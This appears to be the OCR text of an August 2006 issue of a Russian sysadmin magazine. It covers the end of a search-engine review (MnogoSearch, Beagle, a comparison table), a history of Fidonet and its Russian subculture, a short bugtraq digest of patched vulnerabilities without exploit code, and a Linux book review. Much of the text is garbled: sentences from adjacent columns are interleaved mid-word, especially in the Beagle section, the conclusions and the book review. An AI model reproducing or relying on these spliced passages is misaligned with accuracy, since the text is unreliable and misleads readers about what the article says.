Конфигурационный файл не приведен здесь целиком из-за большего объема, но если вы желаете достичь большей функциональности «паука», рекомендуется ознакомиться с сопроводительной документацией. Теперь подробнее о режимах dpmode. В MnogoSearch с версии 3.2.16 отключена поддержка режима cache в связи с найденными там ошибками, данный режим был заменен на blob. Именно его и рекомендуют использовать разработчики, но если верить документации, движок в данном режиме не работает с СУБД Interbase/Firebird и SQLite. На мой взгляд, это упущение, так как Firebird становится все более и более распространенной базой данных. Использование более медленного режима dpmode – multi сильно тормозит движок, но позволяет использовать его с Firebird. Очень хочется надеяться, что разработчики решат данную задачу. Должен напомнить, что пакеты catdoc и rthc – внешние программы, их нужно Рисунок 4. Пример результата поиска MnogoSearch
№8, август 2006
83
web О движках, не вошедших в обзор... ...Но весьма интересных. В статье [8] я упоминал некоторые поисковые машины, такие как Wordindex [5], ASPseek [6], htdig [7] и другие. Из перечисленных, но не вошедших в сегодняшний обзор, стоит выделить ASPseek и hidig. Почему именно они? ASPseek уже успел устареть, последняя официальная версия движка вышла в 2002 году, но на форуме сайта можно встретить энтузиастов, которые помогают с поддержкой движка. Официальный релиз версии 1.2.10 достаточно проблема-
тично поставить на новые дистрибутивы Linux и *BSD-систем, одно из затруднений – ошибки при компиляции в gcc3 (и особенно 4 версии), но обратившись на форум можно найти ссылки на измененные версии движка, которые вполне работоспособны. Как мы видим, ASPseek еще используется и дорабатывается, несмотря на отсутствие официальной поддержки. Хотелось бы напомнить, что стоит «доверять, но проверять» неофициальные снапшоты любого программного обеспечения. Htdig – движок поисковой машины ос-
Для начала индексации просто запустите indexer, если вы хотите проиндексировать небольшое количество документов, то запустите «indexer -n N», где N количество файлов или с параметром «indexer -с N», где N время работы «паука» в секундах. Если используется режим dpmode – blob, то по окончании работы «паука» нужно выполнить команду indexer – Eblob. Теперь о скоростных характеристиках. Индексируются те же 2000 файлов, время индексации в режиме dpmode-blob занимает чуть менее 20 минут. Время поиска по базе около секунды. Пример результатов поиска MnogoSearch смотрите на рис. 4.
тается все еще популярным (для обработки небольших объемов данных), несмотря на то, что последний официальный релиз был в 2004 году. Хорошим примером работы движка, можно считать то, что он помогает обеспечивать работу достаточно популярного и многим известного портала – www.opennet.ru. Как можно увидеть на странице-путеводителе (http://www.opennet.ru/guide.shtml), htdig хорошо справляется с объемом данных в 1,5 Гб, ну а о качестве работы движка можно судить там же.
дачей. Настройка из консоли осуществляется утилитой beagle-config, немного сложнее, чем в графическом режиме, но опытные пользователи ОС Linux так же быстро разберутся со всеми параметрами. Рассмотрим пару примеров: beagle-config indexing AddRoot /mnt/disk2
где indexing – необходимый конфигурационный файл, AddRoot – секция и последний параметр – путь к индексируемой папке. beagle-config indexing AddExclude pattern file.xxx
Beagle В примере мы добавляем одно исключение – на заПоисковая машина хорошо знакома пользователям ОС прет индексации файлов «file.xxx». Некоторые примеры SUSE Linux от Novell. Именно в этот дистрибутив включен и полный синтаксис команд вы можете найти в сопроводипо умолчанию «поисковик». Но это не значит, что Beagle [4] тельной документации движка и быстрой справке по отденельзя использовать в других Linux-дистрибутивах, на офи- льным утилитам. Пользователи, предпочитающие все настраивать вручциальном сайте проекта имеются рекомендации по установке движка под Debian, Mandrake (известный теперь ную и не доверяющие всевозможным мастерам настройкак Mandriva), Gentoo, Ubuntu и другие. Замечу, что если вы ки, могут самостоятельно отредактировать конфигураципользуетесь SUSE Linux, то без особого труда установите онные файлы Beagle (их всего пять: indexing.xml, daemon. движок. А пользователям других дистрибутивов Linux при- xml, searching.xml, networking.xml и webservices.xml), расдется устанавливать большое количество пакетов. Итак, ска- положенные в папке configure движка. Не стану привочав данную поисковую машину, откомпилируем ее стандар- дить примеры всех этих файлов, остановлюсь только тными командами «configure, make && make install» и присту- на indexing.xml для ознакомления синтаксиса и одноврепим к ее конфигурированию. Настройка Beagle возможна менно проверим, занесла ли утилита beagle-config два накак в графическом режиме, так и в консоли. Запустим про- ших параметра: грамму конфиг у<?xml version="1.0" encoding="utf-8"?> рирования движка <IndexingConfig xmlns:xsd="http://www.w3.org/2001/XMLSchema" ↵ beagle-settings, пеxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Roots> ред нами появится <Root>/mnt/disk2</Root> графический интер</Roots> <IndexHomeDir>true</IndexHomeDir> фейс (см. рис. 5) <Excludes> настройки: «горя<ExcludeItem Type="Path" Value="/mnt/disk3/DENY" /> <ExcludeItem Type="Pattern" Value="file.xxx" /> чей» клавиши для </Excludes> вызова поиска, па</IndexingConfig> пок для индексации и возможности В секции Root указывают индексируемые директории, назначения исклю- тогда как Excludes содержит правила запретов индексирочений, думаю боль- вания (путь к директории или название файла). Разобратьшинство пользова- ся в синтаксисе не так и сложно. Минимальное конфигурирование выполнено, для нателей легко справРисунок 5. Графический интерфейс ляется с этой зачала индексации просто запустим демона beagled. В папке настройки Beagle 84
web log можно найти результаты индексирования, файлы формируются в таком виде: 2006-07-02-13-02-04-IndexHelper, а не единым log-файлом. После окончания индексации приступаем к поиску информации. Возможен поиск по базе как в графическом режиме, утилитой beagle-search (см. рис. 6), так и в консоли, программой beagle-query. В комплект поставки Beagle входит достаточно много вспомогательных утилит, например, beagle-index-info выводит информацию о количестве и типе проиндексированных документов. С помощью Beagle-index-url можно задать веб-ресурс для индексации. Beagle-info выводит исчерпывающую информацию о демоне beagle, собранной информации, установленных фильтрах и так далее. Должен заметить, что возможность конфигурирования и поиска из консоли позволяет устанавливать данный движок на удаленный шелл и легко использовать его в работе, при этом не задействуя сервисов требующих права суперпользователя (root). Время индексации примерно 2000 тысяч документов равна 23 минутам. Огорчило только время поиска по базе, простые запросы beagle обрабатывает 3-4 секунды, но не стоит забывать, что движок позиционируется как пользовательский.
Итоги Я не претендую на то, что все движки были идеально сконфигурированы, в каждом конкретном случае можно добиться более впечатляющих результатов (можно «выиграть» в скорости поиска по СУБД простой оптими-
Сравнительные характеристики поисковых движков (* напомню, что все файлы были переведены из форматов xls, doc, rtf в формат text/plain) Yandex.Server
DataparkSearch
MnogoSearch
Beagle
Кросплатформенность
Да
Нет
Да
Нет
Русскоязычная документация
Да
Да
Нет
Нет Да
Многоязыковая поддержка индексации
Да
Да
Да
Лицензия Windows
Shareware
–
Shareware
–
Лицензия *nix
Shareware
GNU
GNU
MIT
Время индексации
< 2 мин.*
< 30 мин.
< 20 мин.
< 25 мин.
Время поиска
< 1 сек.
< 1 сек.
1 сек.
2-3 сек.
MnogoSearch– полукоммерческий зацией базы данных в MySQL). К сожалению, охватить все стороны выбран- проект с богатым функционалом, есть ных движков в одной статье просто не- выбор версий движков и платформ. Двивозможно. Документация ко всем кор- жок давно уже успел себя зарекомендопоративным поисковым машинам со- вать. Индексация документов происхоставляет сотни страниц, простое чте- дит достаточно быстро, но время поисние этой информации займет несколь- ка по базе при больших объемах данных ко дней. Но все же можно сделать не- и сложных запросах бывает очень болькоторые выводы из полученных дан- шое. Не хватает движку документации на русском языке, так как неискушенноных (см. таблицу). Yandex.Server – из рассмотренных му пользователю разбираться в достадвижков явный фаворит, время индек- точно сложных поисковых машинах все сации и поиска минимальное. Отлич- же проще на родном языке. Beagle – простой пользовательная документация, поддержка, кроссплатформенность, мощный функци- ский движок, предназначенный для онал – большие плюсы. Движок мож- облегчения поиска информации на но рекомендовать для крупных и хоро- локальном компьютере. Движок хорошо финансируемых проектов. Компро- шо справляется с задачами, на котомисс, конечно, есть всегда, существует рые он ориентирован. Немного огорнесколько редакций движка, но полная чает время поиска по базе и некотоверсия движка все же дорога, по дан- рые проблемы при индексации докуному поводу на форуме Yandex уже ментов MS Word (doc), о чем нас предавно идут дебаты. дупреждают разработчики. DataparkSearch – полностью своПримечательно, что все три корпободный проект, давно уже перестав- ративные поисковые машины Yandex, ший быть клоном MnogoSearch. Основ- DataparkSearch, MnogoSearch– росное отличие и плюс – это mod_dpsearch сийские проекты, причем выбор обзодля веб-сервера Apache, за счет него ра был сделан не целенаправленно по движок очень быстро обрабатывает данному критерию, а из соображений при поиске большие объемы данных. «какие хорошие проекты рекомендуют на просторах сети Интернет?». Остается только порадоваться за наших разработчиков, движки развиваются и поддерживаются.
Рисунок 6. Графический интерфейс утилиты beagle-search
№8, август 2006
1. Yandex – http://company.yandex.ru / technology/products/yandex-server.xml. 2. DataparkSearch – http://www.datapark search.org. 3. MnogoSearch – http://www.mnogosearch.ru. 4. Beagle – http://beagle-project.org. 5. Wordindex – http://wordindex.sourceforge.net. 6. ASPseek – http://www.aspseek.org. 7. Htdig – http://htdig.org. 8. Максимов И. Возможности поискового движка DataparkSearch. //Системный администратор, №5, май 2006 г. – С. 80-84.
85
ретроспектива
Сеть друзей: история Fidonet В тебе мы находим пpизванье сyдьбы, С тобой yзнаем обо всем, от и до, Чем дальше, тем больше становишься ты Сынами своими; ты бог наш, ФИДО! Гимн российского Fidonet
Илья Александров Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть может, и прошлой. Но история первого в России компьютерного сообщества будет интересна каждому.
История сети 1984 год. Компьютеры уже перестали быть такими громоздкими, однако сеть ARPAnet ещё не успела опутать земной шар глобальной виртуальной «паутиной» и превратиться в Интернет. Это будет потом, а пока немногочисленные пользователи компьютеров обмениваются друг с другом информацией и программным обеспечением путем BBS. Напомню, BBS представляли собой электронные доски объявлений, доступ к которым осуществлялся посредством модема и телефонной линии. В это время в Америке живут два друга-компьютерщика: Том Дженнингс (Thomas Jennings) и Джон Мэдилл (John Madill). Поскольку Том находился в Сан-Франциско, а Джон – в Балтиморе, их общение сводилось главным
86
образом к приватной переписке с по- написанного на приклеенном к монимощью BBS. На дозвон по нужным но- тору стикере. Забегая вперед, скажу, мерам и работу в терминалах уходило что символом сети Fidonet стала всеогромное количество времени, и Том, таки именно собака, сжимающая в зуявляясь неплохим программистом, на- бах компьютерную дискету. Следующие версии программы уже писал программу для автоматизации этого процесса. Утилита сама дозва- базировались на пакетной системе пенивалась до электронных досок объяв- редачи данных, что многократно повылений, отправляла письма и скачива- шало скорость работы. В итоге эта унила поступившие на адрес пользовате- кальная утилита привлекла внимание ля файлы. Программа эта была назва- и стала весьма популярной. Пользована создателем не иначе как FIDO, что тели программы Fido и положили начавпоследствии вызовет массу споров: ло сети, получившей простое и логичкто-то утверждал, что так звали соба- ное название – Fidonet. Для подключения к сети достаточку Дженнингса (Фидо – такая же распространенная в Соединенных Штатах но было всего лишь установить на комкличка собак, как у нас Рекс или Ша- пьютер программу и написать заявку рик), другие говорили, что не было у не- Дженнингсу. Использование Fidonet го никакого пса вообще. В итоге ока- было бесплатным; оплачивались залось, что Том взял название из пер- только расходы на телефонную связь. вого попавшегося ему на глаза слова, На протяжении всего периода своего
ретроспектива существования Фидо была и остаётся некоммерческой сетью. Количество пользователей Fidonet постоянно росло. Так, если в 1987 году их было всего 2,5 тысячи, то к 1992 году эта цифра увеличилась до 16 тысяч. Одновременно с увеличением количества пользователей росли и возможности самой сети. Появилась идентификация каждого отдельного участника Фидо, возможность отправлять сообщения и файлы сразу нескольким адресатам. В 1985 году группа программистов из Далласа создала протокол echomail. До этого момента сеть использовалась исключительно для личной переписки посредством протокола netmail – фидошного аналога e-mail. С использованием echomail появилась возможность создания тематических конференций (также именуемых «эхо-конференциями»): человек отправляет сообщение, например, в конференцию US.FIDO, и его письмо пересылается всем, кто на неё подписан. Эти тематические конференции и составляют основу Фидо, в них таится секрет ее успеха. В это же время сеть «вырвалась» из США и проникла в самые разные точки земного шара, включая Австралию и Южную Азию. 1990 год ознаменовался появлением первого «фидошника» на просторах СССР. Еще одним значимым моментом в истории развития сети стала публикация FidoPolicy. Этот свод правил, который можно назвать «конституцией» Fidonet, был выпущен для поддержания порядка в сети. Правда, с документом были согласны не все. Том Дженнингс, будучи по идеологическим убеждениям анархистом, прокомментировал выход FidoPolicy коротко, но емко: «Old smelly crock of shit» («Старый дурно пахнущий кувшин с отходами»). Именно устав Фидо стал главной причиной ухода из сети ее создателя. Однако стремительно разраставшаяся Fidonet завоёвывала всё большую популярность, и потеря Дженнингса, ныне являющегося сотрудником интернет-провайдера, для неё уже мало что значила.
дящий за порядком и развитием сети, самым главным из которых является интернациональный координатор. Принятые им решения может отменить только совет координаторов зон. Теперь подробнее об уровнях иерархии. Наиболее крупная единица в делении Fido – «зона». Всего существует шесть зон, каждая из которых охватывает, как правило, один континент. Территория бывшего СССР вместе с Европой относится ко второй зоне. Одно время для России хотели выделить отдельную, седьмую зону, но дело до этого так и не дошло (и, видимо, уже никогда не дойдет). Зоны подразделяются на «регионы», охватывающие обычно отдельные страны. России отведен пятидесятый регион. Каждый регион состоит из «сетей», адрес которых входит в адрес региона – то есть номер всех сетей в России имеет вид «50ХХ». В свою очередь сеть объединяет несколько «узлов» в одной географической области. Узел – это компьютер, осуществляющий прием почты от других узлов своей сети. Узел также называется «нодой» (от англ. «node»). Владельца ноды, выделившего собственный ПК и телефонную линию на благо Fidonet, называют «системным оператором» (сокращенно – сисопом). У каждого узла есть свои абоненты – пользователи, осуществляющие переписку в Фидо. Абонентов называют «поинтами» (от англ. «point» – пункт, точка). Формально они не являются частью сети, хотя имеют такие же возможности, как и системные операторы. Но они не обязаны предоставлять свой телефон и компьютер для работы с Фидо другим пользователям (вообще-то, сисопы также не обязаны, но делают это, причем совершенно безвозмездно; подобное поведение и стало одной из причин, по которой Fidonet стала называться «сетью друзей»). Зачем же нужно такое многоуровневое административное деление? Это сделано для идентификации пользователей. Каждый поинт в Фидо имеет свой уникальный, не меняющийся адрес в виде: «Зона:Сеть/Узел.Поинт». Например, из адреса 2:5030/219.8 слеИерархия сети Fidonet обладает иерархической струк- дует, что его владелец находится во турой. На каждом уровне иерархии второй зоне, в городе Санкт-Петербуресть свой координатор – человек, сле- ге (для Москвы код сети – 5020), поль-
№8, август 2006
Том Дженнингс
зуется услугами двести девятнадцатого узла, на котором числится под цифрой «8».
Программное обеспечение Программное обеспечение для фидошника – больше, чем просто «софт». Это – набор для «выживания в сети». Итак, для работы с Фидо требуется следующий набор программного обеспечения: Mail-клиент – устанавливает соединение с узлом и скачивает почту, как личную (netmail), так и новые сообщения эхо-конференций, на которые подписан пользователь. Наиболее популярной из таких программ является T-mail. Эхо-процессор – обрабатывает почту эхо-конференций. Распаковывает пакеты и распределяет их по группам. Трекер – отвечает за обработку личной почты. Дело в том, что из-за специфичной для Fidonet доставки файлов (от одного узла к другому; причем письмо зачастую проходит путь среди разных регионов и зон) письма пакуются. Распаковка и является основной задачей трекера. Файл-эхо-процессор (также называемый «файл-тоссером») – программа для работы в файл-эхах. Файловые эхо-конференции представляют собой аналог ftp, с помощью которых пользователи обмениваются нетекстовой информацией (ПО и прочее).
87
ретроспектива
Устав сети FidoPolicy
Официальный сайт Fidonet. Символ сети – собака, сжимающая в зубах дискету
Редактор – наверное, самая важ- полнить поля, вроде имени и адреса ная программа. Посредством редактора просматриваются полученные письма и создаются новые. Безоговорочным лидером среди утилит такого рода и по-настоящему культовой фидошной программой является GoldEd. Раньше все программы требовали долгой ручной настройки, что отпугивало многих неискушенных пользователей. Сейчас в Интернете можно найти самонастраивающиеся пакеты, для работы которых достаточно лишь за-
88
в сети и т. д.
Фидо на просторах нашей родины В России сеть Fidonet появилась в 1990 году. Первым городом, где появилась сеть, стал Новосибирск. Евгений Чуприянов (в Фидо он известен как Eric Fletcher) с помощью модема Courier2400e совершил звонок на единственную тогда работавшую BBS в СССР – Kremlin BBS. Этот узел принадлежал Елене Тадеуш, которая в то время работа в советско-польском
компьютерном журнале. Свои статьи она отправляла прямыми звонками через BBS, а в ответ получала уже сверстанные номера издания. Для других пользователей узел был бесполезен: на нем не было никакой общедоступной информации. Первые программы российские фидошники скачивали кто из Эстонии, кто из Чехии. Цена на звонки в другие страны была огромной, но это не останавливало компьютерных энтузиастов. Однако уже летом того же года в Новосибирске появились две новые BBS: Morning Star и The Court of the Crimson King. На них хранилось программное обеспечение для подключения к Fidonet и соответствующие утилиты. Со временем в регионе были образованы первые сети: 5000/* и 5010/*. Чуть позже появилась сеть и в Москве. Первый московский фидошник – Алексей Забpодин, был поинтом у вышеупомянутого Евгения Чуприянова. Позже он создаст свой собственный узел. После включения России в пятидесятый регион на собрании системных операторов были выбраны сетевые и региональные координаторы. Одним из первых координаторов Российского региона «50» стал Пит Квитек, известный своим участием в становлении кодировки 866 в качестве основной для MS-DOS и модерированием многих эхо-конференций. Дальнейшее расширение Fidonet было весьма тривиальным: от первых пользователей о сети узнавали в других городах, подключались, а затем открывали новые узлы, о которых в свою очередь узнавали новые люди и т. д. Первыми эхо-конференциями в России стали SU.GENERAL и SU.HARD&SOFT. Особенно популярна была вторая, впоследствии разделившаяся на две: одна была посвящена аппаратному обеспечению, а другая – программам. Других виртуальных мест, где люди могли бы обсуждать эти темы, в то время попросту не существовало. Кстати, «SU» в начале названия конференции расшифровывалось как «South Ural» («Южный Урал»). Впрочем, для большинства аббревиатура ничего кроме как «Soviet Union»(«Советский союз») значить не могла, посему никаких споров не возникло. Во всех первых эхах модератором был Михаил Браво – этот чело-
ретроспектива век, кстати, позже организовал самую первую в России Санкт-Петербургскую группу пользователей Linux (Linux User Group). Когда трафик в конференциях вследствие наплыва новых пользователей стал очень велик, на собрании системных операторов функции модератора были распределены между несколькими людьми. В своё время Фидо пользовались такие личности, как Леонид Каганов, Алекс Экслер, Сергей Лукьяненко, тогда еще мало кому известные и зачастую публиковавшие в сети свои рассказы.
Эхо-конференции «Эхи» – тематические конференции, в которых можно обсудить то или иное событие, получить совет, прочитать интересные истории и т. д. Они были созданы по типу News-конференций сети Usenet, которая в нашей стране популярности так и не получила. У каждой конференции свои правила: в некоторых правит бал строгое модерирование, в других же царит вседозволенность. Тематика самая разная: существуют спортивные эхи, компьютерные, клубы любителей автомобилей и др. В российском Фидо в его лучшие годы существовало порядка трех тысяч конференций, большая часть из которых функционирует до сих пор. Самые популярные эхи: RU.ANEKDOT – безусловно, самая известная конференция. Появилась летом 1992 года, став наследницей SU.HUMOR. Предназначалась она для публикации анекдотов, однако обсуждали в ней практически всё. Каждый новичок в Фидо обязательно подписывается на RU.ANEKDOT. RU.LINUX.CHAINIK – можно сказать, единственная конференция, где новичок мог что-либо узнать о свободном ПО. Здесь выкладывались FAQ, документы, информация о различных дистрибутивах. Во время, когда Интернет еще не был общедоступным, а книжек о *nix просто не существовало, необходимость в подобной конференции трудно было переоценить. Существовала и RU.LINUX, предназначавшаяся для более опытных пользователей, однако она была менее популярна и интересна.
№8, август 2006
Жаргон Фидо За время существования сети Fidonet в ней зародился свой, компьютерный лексикон, позже «завоевавший» и Интернет. Вот некоторые из жаргонизмов Фидо: ака (aka, also known as) – «также известен как» (другое имя, другой адрес человека); борда (BBS, Bulleten Board System) – электронная доска объявлений; босс, нода (узел) – основная единица Fidonet, через которою с сетью соединяются пользователи (поинты); зы (p.s., post scriptum) – постскриптум; имхо (imho) – по моему мнению; нодлист (nodelist) – список узлов в каком-либо локальном сегменте Fidonet;
оффтопик (offtopic) – сообщение не по теме конференции;
рулез (rulez) – возглас восхищения, высшего одобрения;
сабж (subject) – тема сообщения; сакс (sucks или suxx) – что-то плохое, нехорошее;
cисоп – сокращение от «системный оператор», администратор узла сети;
эха – тематическая конференция; эхотаг (echotag) – название конференции;
LOL (Laughing Out Loud) – говорится в ответ на что-либо смешное;
RTFM (Read The F..k... Manual) – можно перевести как «будьте добры изучить документацию по интересующему вас вопросу».
SU.TORMOZ – весьма специфич-
MO.ECHO – конференция для жи-
ное место. Больше всего похоже на современные веб-чаты, только в замедленном виде. Разговоры совершенно ни о чем, зачастую переходившие во взаимные оскорбления. Тем не менее вокруг конференции образовалось целое коммьюнити под названием «Su.Tormoz team», участники которого были постоянными подписчиками эхи на протяжении нескольких лет. SU.KASHENKO.LOKAL – о портале Udaff.com слышал, наверное, каждый, кто имеет доступ к ресурсам сети Интернет. Так вот, сама по себе субкультура так называемых падонкаф зародилась именно в Фидо, в выше обозначенной эхе. Название было выбрано из-за известной психиатрической больницы. «Кащениты», как их именовали в сети, отличались сильной неадекватностью в общении, часто использовали ненормативную лексику, не утруждали себя следованию нормам русского языка. RU.NETHACK – место общения создателей компьютерных вирусов, хакеров и компьютерных хулиганов. Несмотря на то что там иногда появлялись настоящие специалисты в области IT-безопасности, большей частью подписчиками конференции являлась молодёжь, спорившая о «вечных» темах, типа «Что круче – Basic или Pascal».
телей столицы. Московские новости, события, слухи. Вообще, об эхах говорить можно бесконечно. Существовали и музыкальные (SU.MUSIC), и политические (SU.POL), и великое множество компьютерных конференций. Последнее легко объяснимо – пользователями Фидо в нашей стране являются, главным образом, профессиональные программисты и системные администраторы.
Субкультура Fidonet Говорить о Фидо только с технической точки зрения (как о компьютерной сети) по меньшей мере неправильно. Это прежде всего – сообщество, я бы даже сказал – субкультура. Отношения в Fidonet действительно неформальные, «панибратские». Независимо от того, кем является собеседник, принято обращаться на «ты». Фидошники, как правило, помогают друг другу. Интересный факт: в начале становления сети по Москве ездила команда сисопов и бесплатно настраивала каждому желающему доступ в Fidonet. Впрочем, несмотря на это, самые жестокие «флеймы» происходили именно в Фидо. Термин «Holy war» («священная война») появился как раз в этой сети. С++ против Pascal, WarCraft против StarCraft, в конце концов, «Алиса» против «Гражданской обороны»… подобные споры составляли огромный
89
ретроспектива бели и музыкальной аппаратуры. Позже «Netclub», к огромному сожалению пользователей Фидо, был закрыт.
Грустные реалии Fidonet
Архивы эхо-конференций Фидо на сайте groups.google.ru
процент трафика Fidonet. Для «разборок по интересам» были отведены специальные эхи, вроде SU.NAEZD или SU.FLAME, однако модераторам приходилось прекращать «священные войны» и в других конференциях. Как и в любом сообществе, в своё время в Фидо существовали свои знаменитости, свои легенды. Например, пользователь Алексей Попов прославился тем, что выделил для своего любимого пса, Бутуза, собственный узел. Причем Алексей везде утверждал, что Бутуз – собака только по матери, по отцу же он – человек. Шутки шутками, но системным оператором одного из узлов в Москве числился некий Butuz Popov. Крупнейшей же мистификацией Фидо считался Алекс Экслер. Оказалось, что под этим псевдонимом скрываются аж шесть человек, работающих в Московском институте геофизики. Псевдоним сложился из первых букв фамилий участников. Виртуальный персонаж использовался для коллективного выхода в Фидо всей группой и стал довольно известен на просторах сети. История с разоблачением наделала много шума. Однако выяснить, какое же отношение ко всему этому имел настоящий Алекс Экслер, писатель и создатель сайта exler.ru, никто так и не смог. Известностью пользовалась и Катя Лажинцева, главным образом потому, что была первой и на протяжении
90
некоторого времени единственной девушкой в Fidonet. В Фидо сформировался целый фольклор, надо заметить, весьма самобытный. Анекдоты, байки, рассказы… Например, множество авторов писало в созданную Кагановым конференцию OBEC.PACTET. О встречах фидошников наверняка слышал каждый. Это так называемые сисопки и поинтовки. На первых собираются владельцы узлов, на вторых – рядовые участники Фидо. На подобных встречах пьют пиво (некоторые даже язвительно называют поинтовки «фидопойками»), обсуждают сетевое житие-бытие. Да и познакомиться с человеком, с которым общался исключительно в сети и знал его лишь по никнейму, всегда интересно. Обычно поинтовки проводятся на городском уровне, реже – устраиваются междугородние встречи. Те, кто посещал московскую выставку «Комтек» в девяностые годы прошлого столетия, наверняка замечали скопление людей с приколотыми на грудь номерами-идентификаторами в Фидо. Среди московских пользователей популярностью пользовалось заведение «Netclub». Этот клуб (скорее – бар) был любимым местом фидошников. Потом «Netclub» стали посещать далекие от компьютеров люди, периодически устраивавшие там вечеринки с распитием алкогольных напитков и фейерверком, что не обходилось без порчи ме-
Сеть Фидо достигла пика популярности в 1996 году, когда по официальным данным количество узлов достигло 35 тысяч (а по неофициальным – в несколько раз больше). В то время многие сравнивали Fidonet и Интернет, приводя доводы в пользу первого. Главным преимуществом считалась бесплатность «сети друзей», но с каждым годом этот козырь становился все менее актуальным в связи с удешевлением доступа к глобальной паутине. Теперь вопросов уже нет – Интернет с его красивыми и информативными порталами одержал безоговорочную победу над системой конференций, а фидошники разбрелись по веб-форумам и блогам. Большинство эхо-конференций функционирует и поныне, правда, вероятность того, что ваше сообщение будет хоть кем-то прочтено, близка к нулю. Ушли из Фидо все те, кого можно было считать элитой сети, закрылась масса узлов. Вместе с ними исчезла и сама атмосфера, сеть перестала восприниматься как сообщество. На данный момент сеть Fidonet, конечно же, ещё не умерла. Кто-то пишет по привычке, кого-то привлекает бесплатный доступ. Однако очевидно, что это – уже не старая-добрая Фидо. Как бы там ни было, Fidonet навсегда останется в памяти тысяч пользователей местом, в котором они встретили новых приятелей и провели лучшие часы своей жизни. Я выражаю благодарность Сергею Фролову (frs@overlink.ru) за помощь в работе над статьей.
Редактор рубрики: Дмитрий Мороз 1. http://groups.google.ru – обновляемые архивы эхо-конференций Fidonet. 2. http://faqs.org.ru/Fidonet/fidohist.htm – история российского Фидо в вопросах и ответах. 3. http://www.Fidonet.org – официальный сайт сети. 4. http://lib.ru / TXT/Fidonet.txt – устав Fidonet (FidoPolicy). 5. http://rndfido.net.ru – документация, программы.
bugtraq Выполнение произвольного кода в Macromedia Flash Player Программа: Macromedia Flash Player 8.0.24, возможно, более ранние версии. Опасность: Высокая. Описание: Уязвимость существует из-за неизвестной ошибки доступа к памяти при обработке SWF-файлов. Удаленный пользователь может с помощью специально сформированного SWF-файла вызвать переполнение буфера и выполнить произвольный код на целевой системе. URL производителя: www.macromedia.com. Решение: Установите последнюю версию (9.0) с сайта производителя.
Отказ в обслуживании в MailEnable Программа: MailEnable Standard (все версии), MailEnable Professional (все версии), MailEnable Enterprise (все версии). Опасность: Средняя. Описание: Уязвимость существует из-за ошибки в службе SMTP при обработке аргументов команды HELO. Удаленный пользователь может с помощью специально сформированной команды HELO вызвать отказ в обслуживании приложения. URL производителя: www.mailenable.com. Решение: Установите исправление с сайта производителя.
Раскрытие данных в IBM WebSphere Application Server Программа: IBM WebSphere Application Server 5.x. Опасность: Средняя. Описание: 1. Уязвимость существует из-за ошибки в реализации веб-контейнера. Удаленный пользователь может просмотреть исходный код JSP-произвольных файлов. 2. Неизвестная ошибка существует в административной консоли. URL производителя: www.ibm.com. Решение: Установите исправление с сайта производителя.
Обход каталога в Webmin Программа: Webmin 1.270 для Windows и более ранние версии. Опасность: Средняя. Описание: Уязвимость существует из-за неизвестной ошибки при обработке входных данных. Удаленный пользователь может просмотреть произвольные файлы на системе. URL производителя: www.webmin.com. Решение: Установите последнюю версию (1.280) с сайта производителя.
Множественные уязвимости в Wireshark Программа: Wireshark (ранее Ethereal) версии до 0.99.2. Опасность: Высокая. Описание: Уязвимости существуют в различных диссекторах протоколов из-за ошибок проверки границ данных, ошибок форматной строки, ошибок завышения на единицу и ошибок распределения памяти. Удаленный пользователь может вызвать отказ в обслуживании приложения, потребить все доступные ресурсы на системе и выполнить произвольный код. URL производителя: www.wireshark.org. Решение: Установите последнюю версию (0.99.2) с сайта производителя.
Отказ в обслуживании в GnuPG Программа: GnuPG 1.4.3 и 1.9.20, возможно, более ранние версии. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки в parsepacket.c при обработке длины пакета. Удаленный пользователь может с помощью специально сформированного пакета, содержащего слишком большое значение в поле length, употребить все доступные ресурсы на системе и вызвать отказ в обслуживании. Дальнейшая эксплуатация уязвимости позволит вызвать целочисленное переполнение буфера и аварийно завершить работу gpg. Для успешной эксплуатации уязвимости должна использоваться опция --no-armor. URL производителя: www.gnupg.org. Решение: Установите последнюю версию с сайта производителя.
Отказ в обслуживании в Lotus Domino Программа: Lotus Domino 6.x. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки в механизме маршрутизации сообщений (nrouter.exe) при обработке vCal-запросов. Удаленный пользователь может послать специально сформированный vCal-запрос и потребить все процессорные ресурсы на системе. URL производителя: www.lotus.com. Решение: Установите последнюю версию (6.5.4 FP1, 6.5.5 или 7.0) с сайта производителя.
Отказ в обслуживании в ядре Linux Программа: Linux Kernel 2.6.x. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки при обработке SCTP-пакетов. Удаленный пользователь может с помощью специально сформированного SCTP-пакета вызвать отказ в обслуживании системы. URL производителя: www.kernel.org. Решение: Установите последнюю версию (2.6.16.23 или 2.6.17.3) с сайта производителя.
Составил Александр Антипов
№8, август 2006
91
книжная полка
Linux. Сборник рецептов Карла Шрёдер темах на базе rpm, установка и сопро- список различных ссылок, по которым вождение программного обеспече- можно ознакомиться с более подробния в системах на базе дистрибутива ной документацией по GNU/Linux и соDebian, сборка программ из исходных путствующим темам. Иногда бывают кодов, идентификация оборудования, моменты, когда какую-либо задачу редактирование текстовых файлов нужно решить быстро, а на детальное в joe и vim, запуск и завершение ра- изучение документации попросту нет боты в Linux, управление пользовате- времени, именно в подобных случаях лями и группами, операции с файла- эта книга будет очень кстати. По больми и разделами, заплатки и настрой- шей части все советы и примеры в кника обновления ядра, запись CD и DVD, ге ориентированы на дистрибутивы системный загрузчик и альтернатив- Red Hat, Fedora и Debian (так пишет авная загрузка. тор), однако нужно заметить, что больВосстановление работоспособнос- шинство из них актуальны и для других ти системы на примере Knoppix, CUPS, дистрибутивов. Замечательное издаКнига носит сугубо практических ха- настройка видео и X-window. Архива- ние, которое окажется полезным всем рактер, и весь излагаемый материал ция и восстановление, удаленный до- без исключения системным администпостроен по схеме «проблема-реше- ступ, управление версиями, протокол раторам ОС GNU/Linux. ние-обсуждение». По сути это изда- NTP. Создание почтового сервера на ние – огромный сборник различных основе Postfix, борьба со спамом и вре- Издательство: «Питер» решений из самых разных областей доносными программами, веб-сервер Год издания: 2006 администрирования и использования Apache, Samba, а также вопросы, свя- Количество страниц: 432 ОС GNU/Linux. Круг рассмотренных занные с DNS. Все это и многое дру- ISBN: 5-469-01188-7 тем очень велик, судите сами: уста- гое вы найдете на страницах этой кни- Цена: ≈ 390 руб. новка и модификация программ в сис- ги. В приложении находится хороший Книга предоставлена издательством «Питер».
Искусство взлома и защиты систем Джек Козиол, Дэвид Личфилд, Дэйв Эйтэл и др.
